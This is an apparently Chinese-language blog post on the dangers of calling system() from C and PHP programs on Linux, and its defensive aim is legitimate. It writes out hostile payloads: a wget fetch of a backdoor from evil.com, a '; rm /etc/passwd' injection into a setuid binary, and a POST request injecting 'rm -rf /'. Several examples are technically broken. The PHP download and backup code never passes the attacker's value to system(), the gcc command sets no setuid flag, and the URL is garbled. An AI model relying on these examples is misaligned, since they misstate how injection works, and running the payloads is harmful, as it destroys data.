Linux下使用system函数一定要谨慎:避免安全漏洞和系统崩溃
它可以让开发者在程序中直接调用shell命令,当程序调用system()函数时,它会将这个字符串传递给shell解释器处理。
在Linux操作系统中,system()函数是一个十分常见的用于执行命令的函数。它可以让开发者在程序中直接调用shell命令,并且非常方便实用。但是,如果不谨慎使用,就会出现安全漏洞和系统崩溃等问题。
首先,我们来看看system()函数的定义:
“`
#include
int system(const char *command);
其中,command参数就是要执行的shell命令字符串。当程序调用system()函数时,它会将这个字符串传递给shell解释器处理,并等待命令执行完毕后返回。
虽然看起来很简单易懂,但事实上却存在一些风险和局限性。下面我们详细讲解如何正确使用system()函数。
1. 不要从用户输入获取command参数
由于system()函数可以接受任意字符串作为参数,在一些需要用户输入命令行的场景下容易被攻击者利用。比如说,在一个web应用程序中允许用户自定义上传文件名并提供下载链接:
“`php
<?php
$filename = $_GET[‘file’];
header(‘Content-Disposition: attachment; filename=”‘ . $filename . ‘”‘);
echo file_get_contents(‘/var/www/uploads/’ . $filename);
?>
攻击者可以构造一个类似于这样的URL:
://evil.com/backdoor
这个URL会将文件名参数设置为“shell.php && wget ”。当服务器执行该PHP脚本时,就会执行“shell.php”并下载一个恶意脚本到服务器上。这样,攻击者就成功地在服务器上植入了后门。
为了避免这种情况,我们应该始终使用硬编码的命令字符串来调用system()函数,并且不要从用户输入获取command参数。
2. 不要在setuid程序中使用system()函数
setuid程序是一种特殊的程序,它可以以其拥有者(通常是root)的权限来运行。因此,在编写setuid程序时需要格外小心,避免引入安全漏洞。
如果我们在setuid程序中使用system()函数,则可能导致系统被黑客攻击并获取root权限。比如说,在某个web应用程序中存在一个上传图片文件夹,并且有一个专门处理图片缩略图的工具:
“`c
int thumbnail(const char *filename) {
char command[1024];
sprintf(command, “convert %s -resize 100×100 %s_thumbnail.jpg”, filename, filename);
return system(command);
}
由于该工具需要访问文件系统和网络等敏感资源,并且需要以root权限运行,因此我们在编译时使用了setuid标志:
$ gcc thumbnail.c -o thumbnail -lMagickCore -lMagickWand -lm -Wall
![Linux下使用system函数一定要谨慎:避免安全漏洞和系统崩溃缩略图 Linux下使用system函数一定要谨慎:避免安全漏洞和系统崩溃](https://www.72715.net/wp-content/uploads/2023/05/eb20b948506b70f5e7fdb300ce9a2b6d.png)
$ sudo chown root thumbnail
$ sudo chmod +s thumbnail
然而,这个程序存在一个安全漏洞:攻击者可以通过在filename参数中注入特殊字符来执行任意命令。比如说:
$ ./thumbnail “/var/www/uploads/1.jpg; rm /etc/passwd”
这个命令会删除系统的/etc/passwd文件,并导致所有用户账户无法登录。因此,在setuid程序中使用system()函数是非常危险的。
3. 使用信任的命令字符串
即使我们不从用户输入获取command参数,并且不在setuid程序中使用system()函数,也要注意到一些不信任的命令字符串可能会导致系统崩溃或数据损坏。
比如说,在某个web应用程序中允许管理员执行shell脚本来备份数据库文件:
if ($_POST[‘action’] === ‘backup’) {
$date = date(‘Y-m-d-H-i-s’);
$filename = “/var/www/backups/db-$date.sql”;
system(“mysqldump –user=root –password=123456 mydb > $filename”);
如果该PHP脚本被攻击者利用,就可以将恶意代码注入到command参数中并破坏整个服务器。比如说:
POST /backup.php HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
action=backup&command=rm%20-rf%20/
这个请求会将command参数设置为“rm -rf /”,即删除整个文件系统。因此,在使用system()函数时,一定要确保命令字符串是可信的,避免出现不必要的风险。
4. 使用其他替代方案
虽然system()函数非常方便实用,但在某些情况下可能会有更好的替代方案。比如说,在需要执行外部命令并且需要捕获输出结果时,我们可以使用popen()函数:
#include
int main(void) {
FILE *fp = popen(“ls -l”, “r”);
char buf[1024];
while (fgets(buf, sizeof(buf), fp) != NULL) {
printf(“%s”, buf);
}
pclose(fp);
这个程序会执行“ls -l”命令并将输出结果打印到终端上。
总之,在Linux下使用system()函数一定要谨慎,并注意避免安全漏洞和系统崩溃等问题。